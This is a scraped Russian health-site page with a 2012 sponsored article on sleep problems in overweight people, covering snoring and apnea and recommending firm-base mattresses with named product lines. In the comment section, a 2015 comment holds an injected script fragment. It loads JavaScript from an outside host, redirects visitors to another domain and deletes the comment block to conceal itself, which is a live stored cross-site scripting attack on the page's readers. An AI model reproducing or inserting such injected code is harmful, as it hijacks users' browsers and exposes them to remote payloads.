Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Здоровый сон для полных л...  >>  Здоровый сон для полных людей
 
Обратная связь
 

Здоровый сон для полных людей

Размер шрифта
23 января 2012 08:06
  • google_analytics: false
  • Нравится

Немногие из нас могут похвастаться тем, что их вес в норме. По статистике, около половины россиян имеют избыточную массу тела.

1

Жизнь в стиле XXXL

Появление лишнего веса может быть связано с разными причинами. Очень часто люди набирают лишний вес из-за болезни, например, гормональных расстройств.

Жизнь в постоянном стрессе так же не способствует стройности фигуры. Даже если у вас  нет привычки заедать свои проблемы, стресс усиливает выработку гормона кортизола, который приводит к накоплению жировых отложений в области талии. И чем больше стресса, тем больше вырабатывается кортизола и тем шире становится талия.

С возрастом проблема усугбляется. Женщинам после 50 трудно удержать вес: снижается выработка женских половых гормонов эстрогенов и замедляется обмен веществ. Немногие дамы готовы изменить свои пищевые привычки и продолжают питаться так же, как и в 25 лет. Вот почему менопауза, как правило, приводит к набору веса.

Лишние килограммы женщина набирает во время беременности, и избавиться от них удается далеко не всем.

Здоровье начинается с постели

Здоровье складывается из многих параметров, и немаловажной его составляющей является здоровый сон. Люди с избыточным весом испытывают в течение дня усиленные нагрузки, особенно опорно-двигательная и сердечно-сосудистая системы.

Но даже ночной отдых таким людям дается непросто. Из-за лишнего веса полные люди часто храпят. А храп в свою очередь приводит к апноэ, внезапной остановке дыхания во сне. Ткани недополучают кислород, что еще больше увеличивает риск развития сердечно-сосудистых заболеваний, таких как инсульт, инфаркт, гипертония, нарушение сердечного ритма.

Чтобы уменьшить храп, полным людям рекомендуется спать на боку. Опыты показали, что если тучный человек спит на жестком матрасе, то в области плеч и бедер возникает недопустимое давление. Из-за сверхнагрузок, которые испытыват мягкие ткани, замедляется циркуляция крови и лимфы в мягких тканях, возникает желание лечь на спину и храп начинается снова. Такой отдых нельзя назвать полноценным.

Если же спать на мягком матрасе, то из-за большого веса дополнительную нагрузку испытывает позвоночник, что приводит к его деформации и серьезным проблемам со здоровьем.

Большому человеку – правильный матрас

Самым правильным решением для людей с избыточной массой тела будет использование матраса с более жесткой несущей основой, но с мягким наполнителем. Для комфортного сна следует подбирать матрасы, уровень жесткости  которых составляет 12 и выше по шкале TORIS. Такому уровню соответствуют матрасы с усиленной (F2) и сверхусиленной несущей системой (F3).

Что касается наполнителей, то тут идеальным вариантом для полных людей будут латексная пена, вязкоэластичная пена с памятью формы и профилированный латекс. Все они относятся к разряду мягких наполнителей, не создают давление на мягкие ткани и очень комфортны.

Людям с лишним весам стоит присмотреться к пружинным матрасам серий Авант, Пэшн и Шанс. Все они соответствуют перечисленным требованиям, и отличаются лишь по уровню ортопедического эффекта.

Статья опубликована на правах рекламы
  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - zzzzzz

01 июля 2015 в 00:00

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Выбирайте матрас правильно   Как уснуть, если мысли бегают в голове   В какой позе спать, чтобы ничего не болело?   Хотите секса? Ложитесь спать!  
03 июня 2013Недосып лечит депрессию. Сколько спать, чтобы не сойти с ума? 30 мая 2013Храпящие люди в 3 раза чаще разбиваются на машинах! Как этого избежать
 
17 апреля 2013Сколько вы спите – на столько и толстеете! Сколько же спать, чтобы худеть? 30 января 2013Хотите не чувствовать боли – спите дольше
 

Слайдшоу

1
Почему женщины не могут выспаться?
Как спать, когда все болит
Как избавиться от храпа мужа или своего?

Тесты

1
Нормальный ли у вас сон?
Какой матрас вам подходит?
Хорошо ли Вы спите?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.